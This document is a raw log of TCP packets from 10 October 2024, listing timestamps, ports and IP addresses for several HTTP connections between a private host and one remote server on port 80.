Oct 10, 2024 21:01:16.790338039 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.248326063 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.290713072 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.304716110 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.304860115 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.310031891 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310065985 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310077906 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310091019 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310101986 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310116053 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310122013 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.310127974 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310139894 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.310187101 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.310188055 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.310245991 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.314836025 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.314865112 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.314877987 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.314891100 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.314907074 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.314954996 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.314954996 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.315017939 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315076113 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.315116882 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315148115 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315160036 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315161943 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.315190077 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.315210104 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.315308094 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315320969 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315340996 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315351963 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.315382004 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.315464020 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.319884062 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.319956064 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.320014000 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320061922 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320101023 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.320151091 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320173025 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320213079 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320276976 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320326090 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.320336103 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320385933 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320420027 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320430994 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320453882 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.320483923 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320636988 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320648909 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320660114 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.320669889 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.324881077 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.324949980 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.324961901 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.324979067 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325043917 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325066090 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325118065 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325169086 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325249910 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325326920 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325339079 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325351000 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325366020 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325387001 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.325397968 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.628276110 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.637836933 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.643269062 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.643345118 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.818506002 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.823590994 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:17.823678970 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.824146986 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:17.828982115 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.268316984 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.269382954 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.269714117 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.274523020 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274719954 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274771929 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274800062 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274800062 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.274831057 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274857998 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.274857998 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.274893045 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.274902105 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274952888 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.274980068 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.275000095 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.275036097 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.275058031 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.275084972 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.275115967 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.275142908 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.279324055 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.279426098 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.279714108 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.279778004 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.279875040 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.279902935 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.279932976 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.279937029 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.279968023 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.279983997 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.279990911 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.280035973 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.280051947 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.280101061 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.280116081 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.280131102 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.280160904 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.280181885 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.280194044 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.280229092 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.280244112 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.280256987 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.280320883 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.284508944 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.284580946 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.285110950 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285180092 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285208941 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285386086 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285464048 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285584927 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285630941 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285657883 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285682917 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285708904 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285754919 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285779953 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285804987 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285831928 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285876989 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285902977 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285928011 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.285954952 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.289206982 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.289537907 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.290087938 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.290113926 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.579370975 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.588766098 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.594096899 CEST	80	49735	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.594161987 CEST	49735	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.706584930 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.711834908 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:18.711926937 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.712302923 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:18.717231989 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.179371119 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.180275917 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.180385113 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.185611010 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.185813904 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.185875893 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.185904026 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.185904026 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.185933113 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.185937881 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186014891 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186041117 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186048031 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.186111927 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.186115980 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186173916 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186177969 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.186203957 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.186233997 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186258078 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.186317921 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.186388016 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.190848112 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.190896988 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.190903902 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.190949917 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.190964937 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.190990925 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191036940 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191045046 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191072941 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191102982 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191106081 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191135883 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191163063 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191170931 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191240072 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191272020 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191325903 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191423893 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191487074 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191499949 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191591024 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.191591978 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.191651106 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.196171045 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196232080 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.196274042 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196305037 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196372032 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196398973 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196634054 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196681976 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196775913 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196846962 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196899891 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.196991920 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197051048 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197077990 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197124004 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197149992 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197196960 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197223902 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197249889 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197274923 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197307110 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197333097 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197359085 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197385073 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197432041 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.197458029 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.201344013 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.201370955 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.201497078 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.505515099 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.519236088 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.524558067 CEST	80	49736	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.524620056 CEST	49736	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.683588982 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.688818932 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:19.688924074 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.689380884 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:19.694458008 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.176096916 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.176984072 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.177226067 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.181986094 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182218075 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182295084 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182322979 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182348967 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182374001 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.182374001 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.182395935 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182424068 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182425976 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.182450056 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.182450056 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182467937 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.182492971 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.182498932 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182524920 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.182692051 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.186948061 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187067986 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.187438965 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187467098 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187513113 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187539101 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187556028 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.187570095 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187592030 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.187619925 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.187793016 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187864065 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.187874079 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.187917948 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.187973976 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.188004971 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.188029051 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.188054085 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.192240000 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192307949 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.192498922 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192547083 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192574024 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192604065 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192697048 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192920923 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.192967892 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193021059 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193119049 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193145990 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193232059 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193259001 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193375111 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193401098 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193448067 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193474054 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193521976 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193548918 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193577051 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193603039 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193649054 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193675041 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193701029 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.193727016 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.197155952 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.197202921 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.197326899 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.197474957 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.492985010 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.503328085 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.508910894 CEST	80	49737	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.509072065 CEST	49737	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.630076885 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.635441065 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:20.635637045 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.635993958 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:20.640964031 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.097174883 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.098007917 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.098417044 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.103315115 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103359938 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103413105 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.103427887 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103440046 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103497028 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.103708029 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103717089 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103724003 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103732109 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103768110 CEST	49738	80	192.168.2.4	104.21.59.199
